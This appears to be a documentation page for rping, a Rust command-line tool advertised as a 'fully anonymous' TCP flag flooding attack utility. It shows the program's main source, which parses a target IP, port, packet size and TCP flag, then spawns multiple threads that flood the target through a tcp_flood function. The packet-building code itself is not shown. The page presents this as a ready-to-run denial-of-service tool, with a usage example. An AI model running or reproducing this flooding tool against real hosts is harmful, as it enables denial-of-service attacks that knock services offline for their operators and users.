rping 0.1.6

🌊 A Fully Anonymous Any TCP Flag Flooding Attack CLI.
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

/// The main entry point of `rping`.
///
/// It parses command-line arguments using the `clap` crate, configures the SYN flooding parameters based on
/// the provided command-line options, and initiates a TCP SYN flooding attack on the specified target.
///
/// # Arguments
/// * `--target` - The target IP address for the SYN flooding attack.
/// * `--size` - The length of SYN packets to be sent.
/// * `--port` - The target port number for the SYN flooding attack.
///
/// # Examples
/// ```
/// // Run the `rping` CLI with a target IP address, packet length, and target port.
/// rping --target 192.168.1.1 --size 100 --port 80
/// ```
///
/// # Errors
/// The function handles errors gracefully and prints out error messages if the SYN flooding attack fails,
/// if the target is missing, etc.
fn main() -> Result<(), Box<dyn std::error::Error>> {
    #[cfg(feature = "cli")]
    {
        use clap::Parser;
        use rping::cli::Cli;
        use rping::utils::tcp_flood;
        use std::thread;

        // Parse command-line arguments
        let args = Cli::parse();

        // Check for a minimum packet length of 44
        if args.size < 44 {
            return Err("Packet length should be at least 44 bytes(IP + TCP headers)!".into());
        }

        if !args.target.is_empty() {
            // Initialize thread handles
            let mut handles = vec![];

            for _ in 0..args.threads {
                let args_clone = args.clone();

                // Spawn threads
                let handle = thread::spawn(move || {
                    if let Err(err) = tcp_flood(
                        args_clone.size,
                        &args_clone.target,
                        args_clone.port.try_into().unwrap(),
                        &args_clone.flag.to_ascii_lowercase(),
                        args_clone.duration,
                        args_clone.number,
                        &args_clone.iface,
                    ) {
                        eprintln!("Thread failed: {:?}", err);
                    }
                });

                handles.push(handle);
            }

            // Collect errors during thread execution
            let mut errors = Vec::new();

            for handle in handles {
                if let Err(err) = handle.join() {
                    errors.push(err);
                }
            }

            // Handle errors after thread execution
            if !errors.is_empty() {
                eprintln!("Some threads failed to join:");
                for err in errors {
                    eprintln!("Error: {:?}", err);
                }
                eprintln!("Please file an issue on GitHub (https://github.com/wiseaidev/rping) with details about the error.");
                return Err("One or more threads failed to join".into());
            } else {
                println!("\nFlooding completed successfully!");
                return Ok(());
            }
        }
    }
    Ok(())
}